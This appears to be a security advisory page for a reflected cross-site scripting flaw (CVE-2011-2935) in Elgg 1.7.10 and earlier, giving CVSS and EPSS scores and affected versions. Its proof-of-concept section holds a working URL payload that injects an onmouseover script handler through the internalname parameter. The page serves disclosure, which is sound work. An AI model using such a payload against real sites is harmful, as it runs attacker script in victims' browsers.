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githubGitHub Advisory DatabaseGHSA-MCFM-J5G6-W26F
HistoryApr 22, 2022 - 12:24 a.m.

Elgg Reflected XSS Vulnerability

2022-04-2200:24:11
CWE-79
GitHub Advisory Database
github.com
5

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

7.1 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

36.2%

JSON

VULNERABILITY DESCRIPTION

The internalname parameter is not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim’s browser

PROOF-OF-CONCEPT/EXPLOIT

http://localhost/pg/embed/media?internalname=%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22

Affected configurations

Vulners
Node
elggelggRange≤1.7.10
CPENameOperatorVersion
elgg/elggle1.7.10

Related

cve 1
prion 1
cvelist 1
nvd 1
osv 1
cve
cve
CVE-2011-2935
2019-11-12 14:15:10
prion
prion
Cross site scripting
2019-11-12 14:15:00
cvelist
cvelist
CVE-2011-2935
2019-11-12 13:45:01
nvd
nvd
CVE-2011-2935
2019-11-12 14:15:10
osv
osv
Elgg Reflected XSS Vulnerability
2022-04-22 00:24:11

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

7.1 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

36.2%

JSON
Related for GHSA-MCFM-J5G6-W26F
cve1prion1cvelist1nvd1osv1